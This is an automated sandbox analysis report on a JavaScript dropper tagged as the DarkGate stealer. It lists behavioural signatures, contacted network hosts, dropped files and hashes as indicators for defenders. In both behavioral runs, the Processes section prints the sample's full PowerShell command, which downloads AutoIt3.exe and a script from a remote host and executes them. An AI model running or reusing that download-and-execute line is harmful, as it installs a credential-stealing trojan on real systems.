Malware Analysis Report

2024-11-30 11:12

Sample ID 231027-tq2t1sff6y
Target 28102023_0016_gov.js
SHA256 ff0d7fd40da4281a66a43f5971a795eb46f126b32992b55e2698eecd7dba07b1
Tags
darkgate user_871236672 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ff0d7fd40da4281a66a43f5971a795eb46f126b32992b55e2698eecd7dba07b1

Threat Level: Known bad

The file 28102023_0016_gov.js was found to be: Known bad.

Malicious Activity Summary

darkgate user_871236672 stealer

DarkGate

Downloads MZ/PE file

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-27 16:16

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-27 16:16

Reported

2023-10-27 16:19

Platform

win7-20231020-en

Max time kernel

120s

Max time network

123s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0016_gov.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0016_gov.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiumyprjkx' -OutFile 'umyprjkx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'umyprjkx.au3'"

Network

N/A

Files

memory/1060-4-0x000000001B310000-0x000000001B5F2000-memory.dmp

memory/1060-5-0x0000000002300000-0x0000000002308000-memory.dmp

memory/1060-6-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

memory/1060-7-0x00000000029B0000-0x0000000002A30000-memory.dmp

memory/1060-8-0x00000000029B0000-0x0000000002A30000-memory.dmp

memory/1060-9-0x00000000029B0000-0x0000000002A30000-memory.dmp

memory/1060-10-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

memory/1060-11-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-27 16:16

Reported

2023-10-27 16:19

Platform

win10v2004-20231020-en

Max time kernel

142s

Max time network

150s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0016_gov.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\temp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\temp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\temp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\28102023_0016_gov.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://profitcentronline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://profitcentronline.com:2351/msiumyprjkx' -OutFile 'umyprjkx.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'umyprjkx.au3'"

C:\temp\AutoIt3.exe

"C:\temp\AutoIt3.exe" umyprjkx.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 29.81.57.23.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 profitcentronline.com udp
US 195.123.233.201:2351 profitcentronline.com tcp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 201.233.123.195.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 195.123.233.201:2351 profitcentronline.com tcp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
IE 20.123.104.105:443 tcp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
FR 23.57.81.29:443 tcp
US 192.229.221.95:80 tcp
US 8.8.8.8:53 88.65.42.20.in-addr.arpa udp

Files

memory/1512-0-0x000001EDCB7B0000-0x000001EDCB7D2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5bme2csp.4f2.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1512-10-0x00007FF93E7A0000-0x00007FF93F261000-memory.dmp

memory/1512-11-0x000001EDC9600000-0x000001EDC9610000-memory.dmp

memory/1512-13-0x000001EDC9600000-0x000001EDC9610000-memory.dmp

memory/1512-12-0x000001EDC9600000-0x000001EDC9610000-memory.dmp

memory/1512-15-0x00007FF93E7A0000-0x00007FF93F261000-memory.dmp

memory/1512-16-0x000001EDC9600000-0x000001EDC9610000-memory.dmp

memory/1512-17-0x000001EDC9600000-0x000001EDC9610000-memory.dmp

memory/1512-18-0x000001EDC9600000-0x000001EDC9610000-memory.dmp

C:\temp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\temp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/1512-31-0x00007FF93E7A0000-0x00007FF93F261000-memory.dmp

C:\temp\umyprjkx.au3

MD5 ed9069a8f504d2dca660d7ca452df7b5
SHA1 27249509d8c7870e61d1828323b00c8f57534866
SHA256 fe6440f818ad94374740fa7861a2cb28886f07d3b21cd27f28725fe3dc146f98
SHA512 99c0110c6317d82cabdb016613c86413f14494eb019fe9b17788bcb62c3dd3ec0d35db7a2eadee923835a4cabb512b5af0299578a7e1cbd5e4269891df7a8f2f

memory/1112-34-0x0000000001450000-0x0000000001850000-memory.dmp

memory/1112-35-0x0000000004780000-0x0000000004AAA000-memory.dmp